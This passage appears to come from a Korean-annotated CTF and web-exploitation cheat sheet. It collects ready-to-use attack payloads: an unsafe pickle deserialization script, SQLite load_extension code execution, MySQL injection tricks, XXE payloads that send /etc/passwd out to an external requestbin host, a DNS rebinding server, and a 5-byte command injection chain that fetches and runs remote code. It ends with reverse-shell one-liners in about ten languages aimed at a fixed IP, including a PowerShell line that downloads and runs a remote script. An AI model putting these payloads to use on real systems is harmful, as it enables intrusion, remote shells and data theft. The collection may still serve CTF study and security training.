        import sys, pickle, base64

        if len(sys.argv) < 2:
        print('[!] no arguments')
        exit()

        print('[*] ' + str(pickle.loads(base64.b64decode(sys.argv[1]))))
      • pickle (for test)

        1
        2
        3
        4
        5
        6
        7
        import sys, cPickle, base64

        if len(sys.argv) < 2:
        print('[!] no arguments')
        exit()

        print('[*] ' + str(cPickle.loads(base64.b64decode(sys.argv[1]))))

    python

    • 2버전에서 mac 주소 등을 이용하여 시크릿 알아낼수 있는, 취약함수 존재, CTF에 종종 출제됨 [설명 추가 예정]
    • pyjail
      • [삭제 여부 검토]

    Directory Traversal

    Command Injection

    asp.net / iis

    lua

    • function override
    1
    2
    3
    function math:random() return 1
    print(math:random())
    // 1

    GraphQL Injection

    • 추가예정

    sql injection

    • basic (생략)

    • quine sql injection

    • nosql injection

      • 설명 생략
    • sqlite

      • rce via load_extension
        • 윈도우 환경이면 UNC 도 사용가능
      1
      2
      3
      4
      5
      6
      7
      8
      9
      // gcc -shared -fPIC evil.c -o evil.so
      #include <stdio.h>
      int sqlite3_evil_init() {
      return 0;
      }
      int sqlite3__init() {
      system("touch /tmp/executed");
      return 0;
      }
      1
      select load_extension('/tmp/evil.so');
    • mysql

      • multiquery injection
      1
      2
      3
      set @a='select sleep(1)';
      prepare s from @a;
      execute s;
      • rand alternative
      1
      select case when @a:=@a-2 then @a:=2 else @a:=1 end;
      • mysql client attack
      1
      2
      3
      git clone https://github.com/lcark/MysqlClientAttack.git
      cd MysqlClientAttack
      python main.py -F /flag
      • shell command : show columns

        1
        show columns from `tbl`
      • shell command : handler

        1
        HANDLER tbl OPEN;HANDLER tbl READ FIRST;HANDLER CLOSE
      • list table with innodb > 5.6

        1
        2
        select * from innodb_table_stats;
        select * from innodb_index_stats;
      • list table with statistics

        1
        2
        3
        schema_auto_increment_columns
        schema_table_statistics_with_buffer
        x$schema_table_statistics_with_buffer
    • waf bypass

    XML External Entity Injection

    • basic (생략)

    • php wrapper (생략)

    • dos (생략)

    • error based (생략)

    • soap

      1
      2
      3
      4
      5
      <soap:Body>
      <foo>
      <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
      </foo>
      </soap:Body>
    • utf7

      1
      2
      3
      4
      5
      <?xml version="1.0" encoding="UTF-7"?>
      <@utf7><!DOCTYPE r[
      <!ENTITY x SYSTEM "file:///etc/passwd">
      ]>
      <r>&x;</r><@/utf7>
    • utf16

      1
      <@UTF_16_3><?xml version="1.0" encoding="UTF-16"?><r>123</r><@/UTF_16_3>
    • oob xxe

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      // 1.xml
      <@UTF_16_3><?xml version="1.0" encoding="UTF-16"?>
      <!DOCTYPE r[
      <!ENTITY % x SYSTEM "http://git.buuoj.cn/posix/xxe/raw/master/1.dtd">
      %x;
      %p;
      ]>
      <r>&exfil;</r><@/UTF_16_3>
      // 1.dtd
      <!ENTITY % d SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
      <!ENTITY % p "<!ENTITY exfil SYSTEM 'http://http.requestbin.buuoj.cn/138ccqt1?d=%d;'>">
    • syntax violation

      1
      2
      3
      4
      <!ENTITY % file SYSTEM "file:///var/www/html/index.php">
      <!ENTITY % start "<![CDATA[">
      <!ENTITY % end "]]>">
      <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
    • local dtd

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <?xml version="1.0"?>
      <!DOCTYPE message[
      <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
      <!ENTITY % ISOamsa '
      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % request "<!ENTITY &#x25; error SYSTEM 'file:///x/%file;&#x27;>">
      %request;%error;'>
      %local_dtd;
      ]>
      <message>123</message>
    • phar

      1
      2
      3
      4
      5
      6
      <?xml version="1.0" standalone="yes"?>
      <!DOCTYPE ernw [
      <!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
      <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
      <text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
      </svg>
    • oxml_xxe

    Crypto

    • length extension attack
    • Oracle Padding Attack
      • [설명추가예정]
    • ECB 블록 셔플 공격 (CTF에 나온지는 꽤 되었지만, 나름 범용적인 공격)
    • CBC mode - Bit Flipping Attack
      • [설명추가예정]

    misc / universal

    • zip slip attack

    • bad regex bypass

    • race condition

    • bom injection

    • weak rand / srand() (언어별로)

    • cron / .bashrc / .zshrc

    • windows fs regex

      1
      2
      3
      4
      5
      target: flag.txt
      matched by
      1. flag.>>>
      2. f<
      3. flag"txt
    • time based regex injection

    • apache solr injection

    • dns rebinding

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      // sudo systemctl disable systemd-resolved
      // sudo systemctl stop systemd-resolved

      const dns = require('dns2');
      var check = true;
      const server = dns.createServer((req,send) => {
      const response = new dns.Packet(req);
      check = !check;
      response.header.qr = 1;
      response.answers.push({
      address: check ? '127.0.0.1' : '1.2.3.4',
      type: dns.Packet.TYPE.A,
      class: dns.Packet.CLASS.IN
      });
      send(response);
      }).listen(53);

      // sudo systemctl enable systemd-resolved
      // sudo systemctl start systemd-resolved
    • unicode normaliation

      • 언어마다 다름
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      [223] ß (%C3%9F).toUpperCase() => SS (%53%53)
      [304] İ (%C4%B0).toLowerCase() => i̇ (%69%307)
      [305] ı (%C4%B1).toUpperCase() => I (%49)
      [329] ʼn (%C5%89).toUpperCase() => ʼN (%2bc%4e)
      [383] ſ (%C5%BF).toUpperCase() => S (%53)
      [496] ǰ (%C7%B0).toUpperCase() => J̌ (%4a%30c)
      [7830] ẖ (%E1%BA%96).toUpperCase() => H̱ (%48%331)
      [7831] ẗ (%E1%BA%97).toUpperCase() => T̈ (%54%308)
      [7832] ẘ (%E1%BA%98).toUpperCase() => W̊ (%57%30a)
      [7833] ẙ (%E1%BA%99).toUpperCase() => Y̊ (%59%30a)
      [7834] ẚ (%E1%BA%9A).toUpperCase() => Aʾ (%41%2be)
      [8490] K (%E2%84%AA).toLowerCase() => k (%6b)
      [64256] ff (%EF%AC%80).toUpperCase() => FF (%46%46)
      [64257] fi (%EF%AC%81).toUpperCase() => FI (%46%49)
      [64258] fl (%EF%AC%82).toUpperCase() => FL (%46%4c)
      [64259] ffi (%EF%AC%83).toUpperCase() => FFI (%46%46%49)
      [64260] ffl (%EF%AC%84).toUpperCase() => FFL (%46%46%4c)
      [64261] ſt (%EF%AC%85).toUpperCase() => ST (%53%54)
      [64262] st (%EF%AC%86).toUpperCase() => ST (%53%54)
    • 5 byte command injection

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      # generate `ls -t>g` to file "_"
      http://host/?cmd=>ls\
      http://host/?cmd=ls>_
      http://host/?cmd=>\ \
      http://host/?cmd=>-t\
      http://host/?cmd=>\>g
      http://host/?cmd=ls>>_

      # generate `curl orange.tw|python` to file "g"
      http://host/?cmd=>on
      http://host/?cmd=>th\
      http://host/?cmd=>py\
      http://host/?cmd=>\|\
      http://host/?cmd=>tw\
      http://host/?cmd=>e.\
      http://host/?cmd=>ng\
      http://host/?cmd=>ra\
      http://host/?cmd=>o\
      http://host/?cmd=>\ \
      http://host/?cmd=>rl\
      http://host/?cmd=>cu\
      http://host/?cmd=sh _

      # got shell
      http://host/?cmd=sh g

    AWS

    bucket

    • public bucket

      • list objects
      1
      aws s3 ls s3://a700de6aeab6ef373e7d
      • copy objects
      1
      aws s3 cp s3://b1f507894bee098d7e9d/flag.txt .
      1
      2
      # aws s3api put-bucket-acl --bucket b1f507894bee098d7e9d --acl authenticated-read
      # aws s3api put-object-acl --bucket b1f507894bee098d7e9d --key flag.txt --acl authenticated-read

    one day exploit

    • 추가예정
    • 실효성 낮음

    reverse shell

    • perl

      1
      perl -e 'use Socket;$i="15.165.0.114";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    • bash

      1
      2
      3
      bash -i >& /dev/tcp/15.165.0.114/8888 0>&1
      bash -c 'bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'
      0<&196;exec 196<>/dev/tcp/15.165.0.114/8888; sh <&196 >&196 2>&196
    • php

      1
      php -r '$sock=fsockopen("15.165.0.114",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
    • nc -e

      1
      nc -e /bin/sh 15.165.0.114 8888
    • telnet

      1
      mknod backpipe p && telnet 15.165.0.114 8888 0<backpipe | /bin/bash 1>backpipe
    • python

      1
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("15.165.0.114",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    • ruby

      1
      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("15.165.0.114","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    • nodejs

      1
      2
      var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(8888, "15.165.0.114", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
      require('child_process').exec("bash -c 'bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'");
    • java

      1
      Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/15.165.0.114/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();
    • powershell

      1
      powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 15.165.0.114 -p 8888 -e cmd

    Reference